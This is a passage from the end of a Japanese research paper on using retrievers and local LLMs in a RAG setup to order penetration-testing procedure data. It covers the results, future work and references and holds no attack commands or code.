ペネトレーションテストの手順に関するデータの Retriever による並び替えでは、検索クエリに対するベクトル類似度で検索で上位からデータを選出しているため、データ内に他のデータとの前後関係の情報を含めても、理想通りにデータを並び替えることはできなかった。一方、ペネトレーションテストの手順に関するデータのローカル LLM での並び替えでは、RAG として指定する参照データの部分にセットしたデータ順に依存しやすいことがわかった。

今後の課題としては、本研究の目標である RAG の構築において手順通りに使用コマンドを出力させるために、Retriever で使用する Embedding モデルの変更やチャンクの分割サイズの変更、データセットの見直しなどで並び替えの精度を向上させていくたい。また、評価方法においても、ローカル LLM でデータを並び替えることが目的だったが、出力を見ると並び替えだけでなく、複数データの統合やハルシネーションが起きてしまっている箇所が見受けられた。そのため、そういったローカル LLM の出力自体の精度についても評価していく必要がある。さらに、今回行った順序の評価ではより適切な評価指標の検討、出力数の評価では実行数の増加などが改善策として挙げられる。

謝辞 本研究の一部は、JSPS 科研費 23H03396 の支援により行った。

参考文献

- [1] 三井物産セキュアディレクション株式会社, “自律 AI エージェントを用いたペネトレーションテスト自動化の試み,” <https://www.mbsd.jp/research/20241210/ai/> (Accessed 2025-7-14).
- [2] 株式会社 SecDevLab, “RapidPen,” <https://rapidpen.secdevlab.com/> (Accessed 2025-7-14).
- [3] NEC, “Dify で作った AI チャットアプリでペンテストを一部自動化できるか試してみた,” <https://jpn.nec.com/cybersecurity/blog/240628/index.html> (Accessed 2025-7-14).
- [4] G. Deng, Y. Liu, V. Mayoral-Vilches, P. Liu, Y. Li, Y. Xu, T. Zhang, Yang Liu, M. Pinzger and S. Rass, “Pen-testGPT: Evaluating and Harnessing Large Language Models for Automated Penetration Testing,” Proceedings of the 33rd USENIX Security Symposium, pp. 1-19, 2024.
- [5] J. Gregory and Q. Liao, “Autonomous Cyberattack with Security-augmented Generative Artificial Intelligence,” Proceedings of the IEEE International Conference on Cyber Security and Resilience (CSR), pp. 1-6, 2024.
- [6] E. Hu, Y. Shen, P. Wallis, Z. Allen-Zhu, Y. Li, S. Wang, L. Wang and W. Chen, “LoRA: Low-Rank Adaptation of Large Language Models,” Proceedings of the International Conference on Learning Representations (ICLR), pp. 1-13, 2022.
- [7] IPUSIRON, “ハッキング・ラボのつくりかた 完全版 仮想環境におけるハッカ一体験学習,” 株式会社翔泳社, 2024.